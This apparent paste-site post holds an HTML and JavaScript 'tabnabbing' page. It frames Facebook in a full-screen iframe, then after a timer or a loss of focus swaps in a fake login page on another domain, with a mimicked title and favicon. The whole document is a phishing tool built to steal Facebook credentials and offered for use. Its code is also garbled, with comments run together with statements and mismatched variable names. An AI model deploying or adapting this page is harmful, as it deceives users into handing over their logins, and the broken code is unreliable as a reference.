Untitled
2 years ago by Ethicalronniepro in HTML
<!--
Title: Advanced Tabnabbing using IFRAMES and Java script Author: Chris Defaulter Valentine ( Anonymous )
-->
<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>
<script type="text/javascript">
//----------Set Script Options--------------
var REAL_PAGE_URL = "http://www.facebook.com/"; //This is the "Real" page that is shown when the user first views this page var REAL_PAGE_TITLE = "Welcome to Facebook-login,Sign up or learn more"; //This sets the title of the "Real Page"
var FAKE_PAGE_URL = "http://www.kimronniepromotion.com"; //Set this to the url of the fake page
var FAKE_PAGE_TITLE = "Welcome to facebook-login, Sign up or learn more"; //This sets the title of the fake page
var REAL_FAVICON = "http://www.facebook.com/favicon.ico"; //This sets the favicon. It will not switch or clear the "Real" favicon in IE.
var FAKE_FAVICON = "http://www.kimronniepromotion.com/favicon.ico"; //Set's the fake favicon.
var TIME_TO_SWITCH_IE = "5000"; //Time before switch in Internet Explorer (after tab changes to fake tab).
var TIME_TO_SWITCH_OTHERS = "2000"; //Wait this long before switching .
//---------------End Options-----------------
var TIMER = null;
var SWITCHED = "false";
//Find Browser Type
var BROWSER_TYPE = "chrome,Phoenix or any";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
BROWSERTYPE="InternetExplorer"; }
//Set REAL_PAGE_TITLE document.title=REAL_PAGE_TITLE;
//Set FAVICON if(REAL_FAVICON){
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = REAL_FAVICON; document.getElementsByTagName('head')[0].appendChild(link);
}
//Create our iframe (tabnab)
var el_tabnab = document.createElement("iframe"); el_tabnab.id="tabnab";
el_tabnab.name="tabnab"; document.body.appendChild(el_tabnab); el_tabnab.setAttribute('src', REAL_PAGE_URL);
//Focus on the iframe (just in case the user doesn't click on it)
el_tabnab.focus();
//Wait to nab the tab!
if(BROWSER_TYPE=="Internet Explorer"){ //To unblur the tab changes in Internet Web browser el_tabnab.onblur = function(){
TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE); }
el_tabnab.onfocus= function(){
if(TIMER) clearTimeout(TIMER);
}
} else {
setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}
function TabNabIt(){
if(SWITCHED == "false"){
//Redirect the iframe to FAKE_PAGE_URL el_tabnab.src=FAKE_PAGE_URL;
//Change title to FAKE_PAGE_TITLE and favicon to
FAKE_PAGE_FAVICON
if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;
//Change the favicon -- This doesn't seem to work in IE if(BROWSER_TYPE != "Internet Explorer"){
var links =
document.getElementsByTagName("head")[0].getElementsByTagName("l ink");
for (var i=0; i<links.length; i++) {
var looplink = links[i];
if (looplink.type=="image/x-icon" && looplink.rel=="shortcut
icon") {document.getElementsByTagName("head")[0].removeChild(looplink); }
}
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = FAKE_FAVICON; document.getElementsByTagName("head")[0].appendChild(link); }
} }
</script>
</body>
</html>